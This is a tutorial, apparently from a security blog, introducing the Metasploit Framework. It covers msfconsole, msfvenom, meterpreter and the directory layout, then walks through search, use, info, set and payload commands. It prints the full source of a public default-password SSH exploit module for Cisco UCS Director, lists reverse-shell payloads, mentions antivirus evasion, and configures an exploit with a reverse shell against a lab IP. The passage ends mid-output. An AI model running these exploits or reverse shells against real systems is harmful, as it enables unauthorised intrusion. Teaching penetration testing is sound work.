<p>Metasploit is open-source and it is written in Ruby. It is an extensible framework, and you can build custom features of your likings using Ruby. You can also add different plugins. At the core of the Metaslpoit framework, there are some key components: </p>



<ol class="wp-block-list"><li>msfconsole   </li><li>msfdb   </li><li>msfvenom   </li><li>meterpreter   </li></ol>



<p>Let’s talk about each of these components. </p>



<h3 id="1-msfconsole" class="wp-block-heading"><a id="post-3536-_heading=h.44sinio"></a>1. msfconsole</h3>



<p>This is the command line interface that is used by the Metasploit Framework. It enables you to navigate through all the Metasploit databases at ease and use the required modules. This is the command that you entered before to get the Metasploit console. </p>



<h3 id="2-msfdb" class="wp-block-heading"><a id="post-3536-_heading=h.2jxsxqh"></a>2. msfdb</h3>



<p>Managing all the data can become a hurdle real quick, which is why Metasploit Framework gives you the option to use PostgreSQL database to store and access your data quickly and efficiently. For example, you may store and organize your scan results in the database to access them later. You can take a look at this tutorial to learn more about this tool &#8211; <a href="https://null-byte.wonderhowto.com/how-to/use-metasploits-database-stay-organized-store-information-while-hacking-0192643/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://null-byte.wonderhowto.com/how-to/use-metasploits-database-stay-organized-store-information-while-hacking-0192643/<span class="wpel-icon wpel-image wpel-icon-19"></span></a> </p>



<h3 id="3-msfvenom" class="wp-block-heading"><a id="post-3536-_heading=h.z337ya"></a>3. msfvenom</h3>



<p>This is the tool that mimics its name and helps you create your own payloads (venoms to inject in your victim machine). This is important since your payload might get detected as a threat and get deleted by threat detection software such as anti-viruses or anti-malware. </p>



<p>This happens because the threat detection systems already has stored fingerprints of many malicious payloads. There are some ways you can evade detection. We’ll discuss this in the later section dedicated to <code>msfvenom</code>. </p>



<h3 id="4-meterpreter" class="wp-block-heading"><a id="post-3536-_heading=h.3j2qqm3"></a>4. meterpreter</h3>



<p><code>meterpreter</code> is an advanced payload that has a lot of functionalities built into it. It communicates using encrypted packets. Furthermore, <strong>meterpreter</strong> is quite difficult to trace and locate once in the system. It can capture screenshots, dump password hashes, and many more. </p>



<h2 id="metasploit-location-on-the-drive" class="wp-block-heading"><a id="post-3536-_heading=h.1y810tw"></a>Metasploit location on the drive</h2>



<p>Metasploit Framework is located in <strong>/usr/share/metasploit-framework/</strong> directory. You can find out all about its components and look at the exploit and payload codes. You can also add your own exploits here to access it from the Metasploit console.  </p>



<p>Let’s browse through the Metasploit directory: </p>



<pre class="wp-block-code prompt"><code>cd /usr/share/metasploit-framework</code></pre>



<p>Type in <code>ls</code> to see the contents of the directory: </p>



<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>app                           msfconsole       Rakefile
config                        msfd             ruby
data                          msfdb            script-exploit
db                            msf-json-rpc.ru  script-password
documentation                 msfrpc           script-recon
Gemfile                       msfrpcd          scripts
Gemfile.lock                  msfupdate        tools
lib                           msfvenom         vendor
metasploit-framework.gemspec  msf-ws.ru
modules                       plugins</code></pre>



<p>As you can see, there is a directory called modules, which should contain the exploits, payloads, auxiliaries, encoders, as discussed before. Let’s get into it: </p>



<pre class="wp-block-code prompt"><code>cd modules</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>auxiliary  encoders  evasion  exploits  nops  payloads  post</code></pre>



<p>All the modules discussed are present here. However, <code>evasion</code>, <code>nops</code>, and <code>post</code> are the additional entries. The <code>evasion</code> module is a new entry to the Metasploit Framework, which helps create payloads that evade anti-virus (AV) detection. <code>Nop</code> stands for <strong>no operation</strong>, which means the CPU will just move to the next operation. <code>Nops</code> help create randomness in the payload &#8211; as adding them does not change the functionality of the program. </p>



<p>Finally, the post module contains some programs that you might require post-exploitation. For example, you might want to discover if the host you exploited is a Virtual Machine or a Physical Computer. You can do this with the <code>checkvm</code> module found in the post category. Now you can browse all the exploits, payloads, or others and take a look at their codes. Let’s navigate to the exploits directory and select an exploit. Then we’ll take a look at the codes of that exploit. </p>



<pre class="wp-block-code prompt"><code>cd exploits</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>aix        dialup                     firefox  mainframe  qnx
android    example_linux_priv_esc.rb  freebsd  multi      solaris
apple_ios  example.py                 hpux     netware    unix
bsd        example.rb                 irix     openbsd    windows
bsdi       example_webapp.rb          linux    osx</code></pre>



<p>
  What you’re seeing now are the categories of the exploits. For example, the linux directory contains all the exploits that are available for Linux systems.
</p>



<pre class="wp-block-code prompt"><code>cd linux</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>antivirus  games  imap   mysql     pptp   samba  ssh
browser    http   local  pop3      proxy  smtp   telnet
ftp        ids    misc   postgres  redis  snmp   upnp</code></pre>



<p>
  Let’s take a look at the exploits for ssh.
</p>



<pre class="wp-block-code prompt"><code>cd ssh</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>ceragon_fibeair_known_privkey.rb
cisco_ucs_scpuser.rb
exagrid_known_privkey.rb
f5_bigip_known_privkey.rb
ibm_drm_a3user.rb
loadbalancerorg_enterprise_known_privkey.rb
mercurial_ssh_exec.rb
microfocus_obr_shrboadmin.rb
quantum_dxi_known_privkey.rb
quantum_vmpro_backdoor.rb
solarwinds_lem_exec.rb
symantec_smg_ssh.rb
vmware_vdp_known_privkey.rb
vyos_restricted_shell_privesc.rb</code></pre>



<p>As you can see, all the exploits are written in Ruby, and thus, the extension of the files is <code>.rb</code>. Now let’s look at the code of a specific exploit using the <code>cat</code> command, which outputs the content directly on the terminal: </p>



<pre class="wp-block-code prompt"><code>cat cisco_ucs_scpuser.rb</code></pre>



<pre class="wp-block-code"><code>##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           =&gt; "Cisco UCS Director default scpuser password",
      'Description'    =&gt; %q{
        This module abuses a known default password on Cisco UCS Director. The 'scpuser'
        has the password of 'scpuser', and allows an attacker to login to the virtual appliance
        via SSH.
        This module  has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
        Note that Cisco also mentions in their advisory that their IMC Supervisor and
        UCS Director Express are also affected by these vulnerabilities, but this module
        was not tested with those products.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        &#091;
          'Pedro Ribeiro &lt;pedrib&#091;at]gmail.com&gt;'        # Vulnerability discovery and Metasploit module
        ],
      'References'     =&gt;
        &#091;
          &#091; 'CVE', '2019-1935' ],
          &#091; 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],
          &#091; 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
          &#091; 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-rce.txt' ]
        ],
      'DefaultOptions'  =&gt;
        {
          'EXITFUNC' =&gt; 'thread'
        },
      'Payload'        =&gt;
        {
          'Compat' =&gt; {
            'PayloadType'    =&gt; 'cmd_interact',
            'ConnectionType' =&gt; 'find'
          }
        },
      'Platform'       =&gt; 'unix',
      'Arch'           =&gt; ARCH_CMD,
      'Targets'        =&gt;
        &#091;
          &#091; 'Cisco UCS Director &lt; 6.7.2.0', {} ],
        ],
      'Privileged'     =&gt; false,
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; '2019-08-21'
    ))

    register_options(
      &#091;
        Opt::RPORT(22),
        OptString.new('USERNAME', &#091;true,  "Username to login with", 'scpuser']),
        OptString.new('PASSWORD', &#091;true,  "Password to login with", 'scpuser']),
      ], self.class
    )

    register_advanced_options(
      &#091;
        OptBool.new('SSH_DEBUG', &#091;false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', &#091;false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore&#091;'RHOST']
  end

  def rport
    datastore&#091;'RPORT']
  end

  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      :auth_methods    =&gt; &#091;'password', 'keyboard-interactive'],
      :port            =&gt; rport,
      :use_agent       =&gt; false,
      :config          =&gt; false,
      :password        =&gt; pass,
      :proxy           =&gt; factory,
      :non_interactive =&gt; true,
      :verify_host_key =&gt; :never
    }

    opts.merge!(:verbose =&gt; :debug) if datastore&#091;'SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore&#091;'SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception =&gt; e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def exploit
    user = datastore&#091;'USERNAME']
    pass = datastore&#091;'PASSWORD']

    print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")
    conn = do_login(user, pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end
  end
end
</code></pre>



<p>You can see the code for the exploit is shown here. The green marked section is the description of the exploit and the yellow marked portion is the options that can be set for this exploit. </p>



<p>The description reveals what function this exploit will perform. As you can see, it exploits a known vulnerability of <strong>Cisco UCS Director</strong>. The vulnerability is the default password of the machine, which, if unchanged, may be used to gain access to the system. If you are someone who knows Ruby and has a good grasp of how the vulnerability works, you can modify the code and create your own version of the exploit. That’s the power of the Metasploit Framework. </p>



<p>In this way, you can also find out what payloads are there in your Metasploit Framework, add your own in the directory, and modify the existing ones. </p>



<h1 id="basic-commands-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.4i7ojhp"></a>Basic commands of Metasploit Framework</h1>



<p>Now let’s move on to the fun stuff. In this section, we’ll talk about some of the basic Metasploit commands that you’re going to need all the time. </p>



<p>Fire up the Metasploit console by typing in <code>msfconsole</code>. Now you will see <code>msf6 &gt;</code> indicating you’re in the interactive mode. </p>



<pre class="wp-block-code prompt"><code>msfconsole</code></pre>



<pre class="wp-block-code promptmsf6"><code></code></pre>



<p>I have the msf6 shown here, where 6 represents the version of the framework and console. You can execute regular terminal commands from here as well, which means you don’t have to exit out of Metasploit Framework to perform some other tasks, making it super convenient. Here’s an example –    msf6 &gt; ls </p>



<pre class="wp-block-code"><code>&#091;*] exec: ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos</code></pre>



<p>The <code>ls</code> command works as it is intended to. You can use the help command to get a list of commands and their functions. Metasploit has very convenient help descriptions. They are divided into categories and easy to follow. </p>



<pre class="wp-block-code promptmsf6"><code>help</code></pre>



<p>Now, let’s take a look at some important commands.</p>



<h2 id="show-command" class="wp-block-heading"><a id="post-3536-_heading=h.2xcytpi"></a>Show command</h2>



<p>If you want to see the modules you currently have in your Metasploit Framework, you can use the <code>show</code> command. Show command will show you specific modules or all the modules. Show command requires an argument to be passed with it. Type in “show -h” to find out what argument the command takes:</p>



<pre class="wp-block-code promptmsf6"><code>show -h</code></pre>



<pre class="wp-block-code"><code>&#091;*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options, favorites
&#091;*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
</code></pre>



<p>For example, you can see all the exploits by using the command in the following way: </p>



<pre class="wp-block-code promptmsf6"><code>show exploits</code></pre>



<p>This will list all the existing exploits, which will be a long list, needless to say. Let’s look at how many encoders are there:</p>



<pre class="wp-block-code promptmsf6"><code>show encoders</code></pre>



<p>Show command can be used inside of any modules to get specific modules that are compatible. <strong>You’ll understand this better in the later sections.</strong> </p>



<h2 id="search-anything-within-metasploit" class="wp-block-heading"><a id="post-3536-_heading=h.1ci93xb"></a>Search anything within Metasploit</h2>



<p>
  Let’s imagine you found a service running on an open port on the target machine. If you also know which version of the service that machine is using – you might want to look for already known vulnerabilities of that service. 
</p>



<p><strong>How do you find out if that service has any vulnerability which has ready-made exploits on Metasploit?</strong>  
</p>



<p>
  You guessed it – you must use the search utility of Metasploit. 
</p>



<p>
  It doesn’t even have to be the exploits, you can also find out payloads, auxiliaries, etc., and you can search the descriptions as well.
</p>



<p>   Let’s imagine I wanted to find out if Metasploit has anything related to <a href="https://en.wikipedia.org/wiki/Samba_(software)" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right"><strong>Samba</strong><span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Samba is an useful cross platform tool that uses the SMB (Server Message Block) protocol. It allows file and other resource sharing between Windows and Unix based-host. Let’s use the <code>search</code> command: </p>



<pre class="wp-block-code promptmsf6"><code>search samba</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ----       -----  -----------
   0   exploit/unix/webapp/citrix_access_gateway_exec       2010-12-21       excellent  Yes    Citrix Access Gateway Command Execution
   1   exploit/windows/license/calicclnt_getconfig          2005-03-02       average    No     Computer Associates License Client GETCONFIG Overflow
   2   exploit/unix/misc/distcc_exec                        2002-02-01       excellent  Yes    DistCC Daemon Command Execution
   3   exploit/windows/smb/group_policy_startup             2015-01-26       manual     No     Group Policy Script Execution From Shared Resource
   4   post/linux/gather/enum_configs                                        normal     No     Linux Gather Configurations
   5   auxiliary/scanner/rsync/modules_list                                  normal     No     List Rsync Modules
   6   exploit/windows/fileformat/ms14_060_sandworm         2014-10-14       excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Execution
   7   exploit/unix/http/quest_kace_systems_management_rce  2018-05-31       excellent  Yes    Quest KACE Systems Management Command Injection
   8   exploit/multi/samba/usermap_script                   2007-05-14       excellent  No     Samba "username map script" Command Execution
   9   exploit/multi/samba/nttrans                          2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
   10  exploit/linux/samba/setinfopolicy_heap               2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   11  auxiliary/admin/smb/samba_symlink_traversal                           normal     No     Samba Symlink Directory Traversal
   12  auxiliary/scanner/smb/smb_uninit_cred                                 normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
   13  exploit/linux/samba/chain_reply                      2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
   14  exploit/linux/samba/is_known_pipename                2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
   15  auxiliary/dos/samba/lsa_addprivs_heap                                 normal     No     Samba lsa_io_privilege_set Heap Overflow
   16  auxiliary/dos/samba/lsa_transnames_heap                               normal     No     Samba lsa_io_trans_names Heap Overflow
   17  exploit/linux/samba/lsa_transnames_heap              2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
   18  exploit/osx/samba/lsa_transnames_heap                2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   19  exploit/solaris/samba/lsa_transnames_heap            2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   20  auxiliary/dos/samba/read_nttrans_ea_list                              normal     No     Samba read_nttrans_ea_list Integer Overflow
   21  exploit/freebsd/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
   22  exploit/linux/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
   23  exploit/osx/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)
   24  exploit/solaris/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (Solaris SPARC)
   25  exploit/windows/http/sambar6_search_results          2003-06-21       normal     Yes    Sambar 6 Search Results Buffer Overflow


Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/http/sambar6_search_results </code></pre>



<p>You can also notice the date and description of the exploit. There is also a metric called <strong>rank</strong> telling you how good the exploit is. The name is actually also the path of where the module is inside the <strong>/usr/share/metasploit-framework/</strong>  </p>



<p>There is some useful information for the exploits written in the <strong>Rank</strong>, <strong>Check</strong>, and <strong>Disclosure</strong> columns. The rank of an exploit indicates how reliable the exploit is. The check functionality for an exploit lets you check whether the exploit will work or not before actually running it on a host. The disclosure date is the date a particular exploit became publicly available. This is a good indicator of how many systems will be affected by it. </p>



<p>A relatively new exploit will affect many of the machines running the service since they might not have updated the vulnerable application in the short time period.  </p>



<h2 id="the-use-command" class="wp-block-heading"><a id="post-3536-_heading=h.3whwml4"></a>The use command</h2>



<p>After you’ve chosen the module you want to use, you can select the module by the <code>use</code> command followed by the name or the id of the module. Let’s use the first one we got from the search result: </p>



<pre class="wp-block-code promptmsf6"><code>use exploit/unix/webapp/citrix_access_gateway_exec</code></pre>



<pre class="wp-block-code"><code>&#091;*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt;</code></pre>



<p>You can also specify the number for the module: </p>



<pre class="wp-block-code promptmsf6"><code>use 0</code></pre>



<pre class="wp-block-code"><code>&#091;*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; </code></pre>



<h2 id="get-the-description-of-the-module-with-the-info-command" class="wp-block-heading"><a id="post-3536-_heading=h.2bn6wsx"></a>Get the description of the module with the info command</h2>



<p>If you’re not sure about a module you can always get the description and see what it does. As we showed you earlier, you could get the description by looking at the original code of the module. However, we’re going to show you a much faster and efficient way. For this, you have to use the command <code>info</code> after you’ve entered the <code>use</code> command to select an exploit: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; info</code></pre>



<pre class="wp-block-code"><code>       Name: Citrix Access Gateway Command Execution
     Module: exploit/unix/webapp/citrix_access_gateway_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-21

Provided by:
  George D. Gal
  Erwin Paternotte

Available targets:
  Id  Name
  ‐‐  ‐‐‐‐
  0   Automatic

Check supported:
  Yes

<span style="color: #FFD670;" class="stk-highlight">Basic options:
  Name     Current Setting  Required  Description
  </span><span style="color: #ffd670;" class="stk-highlight">‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐</span><span style="color: #FFD670;" class="stk-highlight">
  Proxies                   no        A proxy chain of format typ
                                      e:host:port&#091;,type:host:port
                                      ]&#091;...]
  RHOSTS                    yes       The target host(s), see htt
                                      ps://github.com/rapid7/meta
                                      sploit-framework/wiki/Using
                                      -Metasploit
  RPORT    443              yes       The target port (TCP)
  SSL      true             yes       Use SSL
  VHOST                     no        HTTP server virtual host</span>

Payload information:
  Space: 127

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Description:
  The Citrix Access Gateway provides support for multiple 
  authentication types. When utilizing the external legacy NTLM 
  authentication module known as ntlm_authenticator the Access Gateway 
  spawns the Samba 'samedit' command line utility to verify a user's 
  identity and password. By embedding shell metacharacters in the web 
  authentication form it is possible to execute arbitrary commands on 
  the Access Gateway.</span>

References:
  https:&#47;&#47;nvd.nist.gov/vuln/detail/CVE-2010-4566
  OSVDB (70099)
  http://www.securityfocus.com/bid/45402
  http://www.vsecurity.com/resources/advisory/20101221-1/
</code></pre>



<p>As you can see, the <code>info</code> command shows a detailed description of the module. You can see the description of what it does and what options to use, including explanations for everything. You can also use the <code>show info</code> command to get the same result. </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show info</code></pre>



<h2 id="see-the-options-you-need-to-specify-for-the-modules" class="wp-block-heading"><a id="post-3536-_heading=h.qsh70q"></a>See the options you need to specify for the modules</h2>



<p>For the modules, you will have to set some of the options. Some options will already be set. You will need to specify options like your target machine IP address, port, and things like this. The options will change according to what module you are using. You can see the options using the <code>options</code> or <code>show options</code> command. Let’s see this in action: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; options</code></pre>



<pre class="wp-block-code"><code><span style="color: #FFD670;" class="stk-highlight">Module options</span> (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format ty
                                       pe:host:port&#091;,type:host:po
                                       rt]&#091;...]
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>                    <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The target host(s), see ht
                                       tps://github.com/rapid7/me
                                       tasploit-framework/wiki/Us
                                       ing-Metasploit
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RPORT</span>    <span style="color: #A23B72;" class="stk-highlight">443</span>              <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The target port (TCP)
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">SSL</span>      <span style="color: #A23B72;" class="stk-highlight">true</span>             <span style="color: #4B88A2;" class="stk-highlight">yes</span>       Use SSL
   VHOST                     no        HTTP server virtual host


<span style="color: #FFD670;" class="stk-highlight">Payload options</span> (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">LHOST</span>  <span style="color: #A23B72" class="stk-highlight">10.0.2.15</span>        <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The listen address (an inter
                                     face may be specified)
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">LPORT</span>  <span style="color: #A23B72" class="stk-highlight">4444</span>             <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic</code></pre>



<p>You can see the options for this specific <code>exploit(unix/webapp/citrix_access_gateway_exec)</code>. You can also see the options for the default Payload (<code>cmd/unix/reverse_netcat</code>) for this exploit. </p>



<p>I have marked all the fields with different colors. The names are marked in green color. The current setting for each option is marked in pink. All of the fields are not required for the exploit to function. Some of them are optional. The mandatory ones will be listed as <code>yes</code> in the <code>Required</code> field marked in teal. Many of the options will be already filled out by default. You can either change them or keep them unchanged. </p>



<p>In this example, you can see the <code>RHOSTS</code> option does not have a current setting field value in it. This is where you will have to specify the target IP address. You will learn how to set it with the next command. </p>



<h2 id="use-the-set-command-to-set-a-value-to-a-variable" class="wp-block-heading"><a id="post-3536-_heading=h.3as4poj"></a>Use the set command to set a value to a variable</h2>



<p>Set is one of the core commands of the Metasploit console. You can use this command to set context-specific values to a variable. For example, let’s try to set the target IP address for the above <code>RHOSTS</code> option field. Type in <code>set RHOSTS [target IP]</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; set RHOSTS 192.168.43.111</code></pre>



<pre class="wp-block-code"><code>RHOSTS =&gt; 192.168.43.111</code></pre>



<p>Now we’ve successfully set up the value of the <code>RHOSTS</code> variable with the set command. Let’s check if it worked or not. Type in <code>show options</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>   <span style="color: #A23B72;" class="stk-highlight">192.168.43.111</span>   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐

   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>The output shows the RHOSTS variable or option has the target machine IP address that we specified using the <code>set</code> command. </p>



<h2 id="choose-the-payload" class="wp-block-heading"><a id="post-3536-_heading=h.1pxezwc"></a>Choose the Payload</h2>



<p>After we’ve specified the required options for our exploit, we have to set up the payload that we’ll be sending after the exploit successfully completes. There are a lot of payloads in all of Metasploit database. However, after selecting the exploit, you will get the only payloads that are compatible with the exploit. Here, you can use the <code>show</code> command usefully to see the available payloads: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show payloads</code></pre>



<pre class="wp-block-code"><code>Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ‐‐‐‐                                      ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0   payload/cmd/unix/bind_busybox_telnetd                      normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   1   payload/cmd/unix/bind_netcat                               normal  No     Unix Command Shell, Bind TCP (via netcat)
   2   payload/cmd/unix/bind_netcat_gaping                        normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   3   payload/cmd/unix/bind_netcat_gaping_ipv6                   normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   4   payload/cmd/unix/bind_socat_udp                            normal  No     Unix Command Shell, Bind UDP (via socat)
   5   payload/cmd/unix/bind_zsh                                  normal  No     Unix Command Shell, Bind TCP (via Zsh)
   6   payload/cmd/unix/generic                                   normal  No     Unix Command, Generic Command Execution
   7   payload/cmd/unix/pingback_bind                             normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   8   payload/cmd/unix/pingback_reverse                          normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   9   payload/cmd/unix/reverse_bash                              normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   10  payload/cmd/unix/reverse_bash_telnet_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   11  payload/cmd/unix/reverse_bash_udp                          normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   12  payload/cmd/unix/reverse_ksh                               normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   13  payload/cmd/unix/reverse_ncat_ssl                          normal  No     Unix Command Shell, Reverse TCP (via ncat)
   14  payload/cmd/unix/reverse_netcat                            normal  No     Unix Command Shell, Reverse TCP (via netcat)
   15  payload/cmd/unix/reverse_netcat_gaping                     normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   16  payload/cmd/unix/reverse_python                            normal  No     Unix Command Shell, Reverse TCP (via Python)
   17  payload/cmd/unix/reverse_socat_udp                         normal  No     Unix Command Shell, Reverse UDP (via socat)
   18  payload/cmd/unix/reverse_ssh                               normal  No     Unix Command Shell, Reverse TCP SSH
   19  payload/cmd/unix/reverse_zsh                               normal  No     Unix Command Shell, Reverse TCP (via Zsh)</code></pre>



<p>Now you can choose any of the payloads that are listed. They are all compatible with the exploit. Let’s choose a different one rather than the default one. Here, we’ll use the <code>set</code> command to set the value of the payload variable to the name of the specific payload: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; set payload payload/cmd/unix/reverse_ssh</code></pre>



<pre class="wp-block-code"><code>payload =&gt; cmd/unix/reverse_ssh</code></pre>



<p>The output shows that the payload is set to (<code>cmd/unix/reverse_ssh</code>). Let’s set up the payload. Type in <code>show options</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
   RHOSTS   192.168.43.111   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_ssh):

   Name   Current Setting  Required  Description
